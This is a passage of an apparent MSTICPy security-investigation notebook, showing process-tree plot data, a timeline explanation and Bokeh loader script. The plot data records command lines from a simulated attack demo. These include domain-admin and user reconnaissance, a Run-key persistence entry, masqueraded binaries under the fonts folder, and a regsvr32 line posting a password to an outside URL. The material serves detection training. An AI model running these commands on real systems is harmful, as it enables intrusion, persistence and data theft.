ianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\rundll32.exe  /C c:\\\\windows\\\\fonts\\\\conhost.exe zip archive.mdb\",\".\\\\regsvr32  /u /s c:\\\\windows\\\\fonts\\\\csrss.exe \\\"http://www.401k.com/upload?pass=34592389\\\" post\",\"tasklist\",\"net  localgroup Administrators\",\"whoami\"],\"Computer\":[\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\"],\"EffectiveLogonId\":[\"0x3e7\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\"],\"EffectiveLogonId_par\":[\"NaN\",\"0x3e7\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\"],\"EventID\":[\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\",\"4688\"],\"IsBranch\":[false,true,false,false,false,false,false,false,false,false,false,false,false,false,false,false,false,false],\"IsLeaf\":[false,false,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true,true],\"IsRoot\":[true,false,false,false,false,false,false,false,false,false,false,false,false,false,false,false,false,false],\"Level\":[1,2,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3],\"NewProcessId\":[\"0x498\",\"0x12f4\",\"0x6dc\",\"0x6e8\",\"0xd98\",\"0xfe4\",\"0x2f0\",\"0x18c\",\"0x13a0\",\"0x10dc\",\"0x114c\",\"0xfa4\",\"0x1164\",\"0x12b0\",\"0x1150\",\"0xdd4\",\"0xc34\",\"0xc64\"],\"NewProcessId1\":[\"NaN\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"],\"NewProcessId_par\":[\"NaN\",\"0x498\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\"],\"NewProcessName\":[\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\HOSTNAME.EXE\",\"C:\\\\Windows\\\\System32\\\\NETSTAT.EXE\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\W!ndows\\\\System32\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\W!ndows\\\\System32\\\\rundll32.exe\",\"C:\\\\W!ndows\\\\System32\\\\regsvr32.exe\",\"C:\\\\Windows\\\\System32\\\\tasklist.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\whoami.exe\"],\"NewProcessName_par\":[\"NaN\",\"NaN\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\"],\"NodeRole\":[\"NaN\",\"parent\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"sibling\",\"source\",\"sibling\",\"sibling\",\"sibling\"],\"ParentProcessName\":[\"NaN\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\"],\"ProcessId\":[\"NaN\",\"0x498\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\",\"0x12f4\"],\"ProcessId1\":[\"NaN\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\",\"\"],\"ProcessId_par\":[\"NaN\",\"NaN\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\",\"0x498\"],\"Row\":[18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1],\"SourceComputerId\":[\"NaN\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\",\"263a788b-6526-4cdc-8ed9-d79402fe4aa0\"],\"SubjectDomainName\":[\"NaN\",\"WORKGROUP\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\",\"MSTICAlertsWin1\"],\"SubjectLogonId\":[\"0x3e7\",\"0x3e7\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\",\"0x78225e\"],\"SubjectUserName\":[\"NaN\",\"MSTICAlertsWin1$\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\",\"MSTICAdmin\"],\"SubjectUserSid\":[\"NaN\",\"S-1-5-18\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\",\"S-1-5-21-996632719-2361334927-4038480536-500\"],\"TargetLogonId\":[\"NaN\",\"0x78225e\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\",\"0x0\"],\"TenantId\":[\"NaN\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\",\"52b1ab41-869e-4138-9e40-2a4457f09bf0\"],\"TimeCreatedUtc\":{\"__ndarray__\":\"/Knx0k1iQMMAcP2QvY52QgAQ/pC9jnZCADBDkb2OdkIAcESRvY52QgCgTZG9jnZCALBPkb2OdkIAkFGRvY52QgCwVJG9jnZCAPBVkb2OdkIAUBiRvY52QgCQGZG9jnZCAJAakb2OdkIAICORvY52QgCwMJG9jnZCAKA0kb2OdkIAAD6RvY52QgCQQZG9jnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[18]},\"TimeGenerated\":{\"__ndarray__\":\"AAAAAAAAAAAAcP2QvY52QgAQ/pC9jnZCADBDkb2OdkIAcESRvY52QgCgTZG9jnZCALBPkb2OdkIAkFGRvY52QgCwVJG9jnZCAPBVkb2OdkIAUBiRvY52QgCQGZG9jnZCAJAakb2OdkIAICORvY52QgCwMJG9jnZCAKA0kb2OdkIAAD6RvY52QgCQQZG9jnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[18]},\"TokenElevationType\":[\"NaN\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\",\"%%1936\"],\"__cmd_line$$\":[\"nan\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 3\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"hostname\",\"netstat  -an\",\"net  user Bob1 /domain\",\"net  user BobX /domain\",\"net  group \\\"Domain Admins\\\" /domain\",\".\\\\reg.exe  add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"cmd  /c echo End Security Demo tasks\",\"cmd  /c echo Begin Security Demo tasks\",\"cmd  /c echo Any questions about the commands executed here then please contact one of\",\"cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\rundll32.exe  /C c:\\\\windows\\\\fonts\\\\conhost.exe zip archive.mdb\",\".\\\\regsvr32  /u /s c:\\\\windows\\\\fonts\\\\csrss.exe \\\"http://www.401k.com/upload?pass=34592389\\\" post\",\"tasklist\",\"net  localgroup Administrators\",\"whoami\"],\"__proc_id$$\":[\"PID: 0x498\",\"PID: 0x12f4\",\"PID: 0x6dc\",\"PID: 0x6e8\",\"PID: 0xd98\",\"PID: 0xfe4\",\"PID: 0x2f0\",\"PID: 0x18c\",\"PID: 0x13a0\",\"PID: 0x10dc\",\"PID: 0x114c\",\"PID: 0xfa4\",\"PID: 0x1164\",\"PID: 0x12b0\",\"PID: 0x1150\",\"PID: 0xdd4\",\"PID: 0xc34\",\"PID: 0xc64\"],\"__proc_name$$\":[\"svchost.exe\",\"cmd.exe\",\"conhost.exe\",\"HOSTNAME.EXE\",\"NETSTAT.EXE\",\"net.exe\",\"net.exe\",\"net.exe\",\"reg.exe\",\"cmd.exe\",\"cmd.exe\",\"cmd.exe\",\"cmd.exe\",\"rundll32.exe\",\"regsvr32.exe\",\"tasklist.exe\",\"net.exe\",\"whoami.exe\"],\"index\":[18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1],\"new_process_lc\":[\"c:\\\\windows\\\\system32\\\\svchost.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\conhost.exe\",\"c:\\\\windows\\\\system32\\\\hostname.exe\",\"c:\\\\windows\\\\system32\\\\netstat.exe\",\"c:\\\\windows\\\\system32\\\\net.exe\",\"c:\\\\windows\\\\system32\\\\net.exe\",\"c:\\\\windows\\\\system32\\\\net.exe\",\"c:\\\\w!ndows\\\\system32\\\\reg.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\w!ndows\\\\system32\\\\rundll32.exe\",\"c:\\\\w!ndows\\\\system32\\\\regsvr32.exe\",\"c:\\\\windows\\\\system32\\\\tasklist.exe\",\"c:\\\\windows\\\\system32\\\\net.exe\",\"c:\\\\windows\\\\system32\\\\whoami.exe\"],\"new_process_lc_par\":[\"NaN\",\"c:\\\\windows\\\\system32\\\\svchost.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\"],\"parent_index\":[\"NaN\",\"17\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\",\"0\"],\"parent_key\":[\"NaN\",\"c:\\\\windows\\\\system32\\\\svchost.exe|0x498|1970-01-01 00:00:00.000000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\"],\"parent_proc_lc\":[\"NaN\",\"c:\\\\windows\\\\system32\\\\svchost.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\",\"c:\\\\windows\\\\system32\\\\cmd.exe\"],\"path\":[\"17\",\"17/0\",\"17/0/1\",\"17/0/10\",\"17/0/11\",\"17/0/12\",\"17/0/13\",\"17/0/14\",\"17/0/15\",\"17/0/16\",\"17/0/2\",\"17/0/3\",\"17/0/4\",\"17/0/5\",\"17/0/6\",\"17/0/7\",\"17/0/8\",\"17/0/9\"],\"proc_key\":[\"c:\\\\windows\\\\system32\\\\svchost.exe|0x498|1970-01-01 00:00:00.000000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x12f4|2019-02-14 11:51:37.687000\",\"c:\\\\windows\\\\system32\\\\conhost.exe|0x6dc|2019-02-14 11:51:37.697000\",\"c:\\\\windows\\\\system32\\\\hostname.exe|0x6e8|2019-02-14 11:51:38.803000\",\"c:\\\\windows\\\\system32\\\\netstat.exe|0xd98|2019-02-14 11:51:38.823000\",\"c:\\\\windows\\\\system32\\\\net.exe|0xfe4|2019-02-14 11:51:38.970000\",\"c:\\\\windows\\\\system32\\\\net.exe|0x2f0|2019-02-14 11:51:39.003000\",\"c:\\\\windows\\\\system32\\\\net.exe|0x18c|2019-02-14 11:51:39.033000\",\"c:\\\\w!ndows\\\\system32\\\\reg.exe|0x13a0|2019-02-14 11:51:39.083000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x10dc|2019-02-14 11:51:39.103000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x114c|2019-02-14 11:51:38.117000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0xfa4|2019-02-14 11:51:38.137000\",\"c:\\\\windows\\\\system32\\\\cmd.exe|0x1164|2019-02-14 11:51:38.153000\",\"c:\\\\w!ndows\\\\system32\\\\rundll32.exe|0x12b0|2019-02-14 11:51:38.290000\",\"c:\\\\w!ndows\\\\system32\\\\regsvr32.exe|0x1150|2019-02-14 11:51:38.507000\",\"c:\\\\windows\\\\system32\\\\tasklist.exe|0xdd4|2019-02-14 11:51:38.570000\",\"c:\\\\windows\\\\system32\\\\net.exe|0xc34|2019-02-14 11:51:38.720000\",\"c:\\\\windows\\\\system32\\\\whoami.exe|0xc64|2019-02-14 11:51:38.777000\"],\"source_index\":[\"17\",\"0\",\"1\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"],\"source_index_par\":{\"__ndarray__\":\"AAAAAAAA+H8AAAAAAAD4fwAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBAAAAAAAAAMEAAAAAAAAAwQAAAAAAAADBA\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[18]},\"timestamp_orig_par\":{\"__ndarray__\":\"/Knx0k1iQMMAAAAAAAAAAABw/ZC9jnZCAHD9kL2OdkIAcP2QvY52QgBw/ZC9jnZCAHD9kL2OdkIAcP2QvY52QgBw/ZC9jnZCAHD9kL2OdkIAcP2QvY52QgBw/ZC9jnZCAHD9kL2OdkIAcP2QvY52QgBw/ZC9jnZCAHD9kL2OdkIAcP2QvY52QgBw/ZC9jnZC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[18]}},\"selected\":{\"id\":\"1362\"},\"selection_policy\":{\"id\":\"1361\"}},\"id\":\"1237\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"callback\":null},\"id\":\"1259\",\"type\":\"TapTool\"},{\"attributes\":{\"text\":{\"field\":\"__proc_name$$\"},\"text_baseline\":{\"value\":\"middle\"},\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1283\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"1284\"}}},\"id\":\"1286\",\"type\":\"Text\"},{\"attributes\":{},\"id\":\"1352\",\"type\":\"AllLabels\"},{\"attributes\":{},\"id\":\"1258\",\"type\":\"SaveTool\"},{\"attributes\":{\"overlay\":{\"id\":\"1342\"},\"x_range\":null,\"y_range\":{\"id\":\"1243\"}},\"id\":\"1341\",\"type\":\"RangeTool\"},{\"attributes\":{\"coordinates\":null,\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"group\":null,\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"1342\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"1323\",\"type\":\"SaveTool\"},{\"attributes\":{\"source\":{\"id\":\"1237\"}},\"id\":\"1340\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"1356\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"dimension\":\"height\"},\"id\":\"1260\",\"type\":\"WheelPanTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"hatch_alpha\":{\"value\":0.1},\"height\":{\"value\":0.8},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"value\":1.2},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"1334\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"1337\",\"type\":\"Rect\"},{\"attributes\":{},\"id\":\"1257\",\"type\":\"ResetTool\"},{\"attributes\":{\"source\":{\"id\":\"1237\"}},\"id\":\"1282\",\"type\":\"CDSView\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"1237\"},\"glyph\":{\"id\":\"1270\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"1272\"},\"nonselection_glyph\":{\"id\":\"1271\"},\"view\":{\"id\":\"1274\"}},\"id\":\"1273\",\"type\":\"GlyphRenderer\"}],\"root_ids\":[\"1346\"]},\"title\":\"Bokeh Application\",\"version\":\"2.4.2\"}};\n  const render_items = [{\"docid\":\"2b6a67d1-db83-432a-974f-a1962e454dcb\",\"root_ids\":[\"1346\"],\"roots\":{\"1346\":\"6510ab2b-8bd2-4711-aa1c-3318f256220e\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    let attempts = 0;\n    const timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1346"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/plain": [
       "(Figure(id='1238', ...), Row(id='1346', ...))"
      ]
     },
     "execution_count": 26,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "proc_df.mp_plot.process_tree()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Temporal analaysis is another key tool in security investigation. Seeing in which order events occur, and how events cluster temporally can provide some invaluable insights. To help with this MSTICPy contains a flexible [timeline feature](https://msticpy.readthedocs.io/en/latest/visualization/EventTimeline.html) that allows for the plotting of a range of data on a timeline. You can plot simple single catagory descrite events, running values, and multi series events all in an interactive [Bokeh](https://bokeh.org/) visualization.\n",
    "\n",
    "Using the timeline is a simple as calling `mp_plot.timeline()` on a DataFrame. By default this will use the TimeGenerated column for the time element, and a set of common column values to display when hovering over an event. These can be customized with the `time_column` and `source_columns` parameters (as used below).\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 27,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1455\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "\n(function(root) {\n  function now() {\n    return new Date();\n  }\n\n  const force = true;\n\n  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n    root._bokeh_onload_callbacks = [];\n    root._bokeh_is_loading = undefined;\n  }\n\n  const JS_MIME_TYPE = 'application/javascript';\n  const HTML_MIME_TYPE = 'text/html';\n  const EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n  const CLASS_NAME = 'output_bokeh rendered_html';\n\n  /**\n   * Render data to the DOM node\n   */\n  function render(props, node) {\n    const script = document.createElement(\"script\");\n    node.appendChild(script);\n  }\n\n  /**\n   * Handle when an output is cleared or removed\n   */\n  function handleClearOutput(event, handle) {\n    const cell = handle.cell;\n\n    const id = cell.output_area._bokeh_element_id;\n    const server_id = cell.output_area._bokeh_server_id;\n    // Clean up Bokeh references\n    if (id != null && id in Bokeh.index) {\n      Bokeh.index[id].model.document.clear();\n      delete Bokeh.index[id];\n    }\n\n    if (server_id !== undefined) {\n      // Clean up Bokeh references\n      const cmd_clean = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n      cell.notebook.kernel.execute(cmd_clean, {\n        iopub: {\n          output: function(msg) {\n            const id = msg.content.text.trim();\n            if (id in Bokeh.index) {\n              Bokeh.index[id].model.document.clear();\n              delete Bokeh.index[id];\n            }\n          }\n        }\n      });\n      // Destroy server and session\n      const 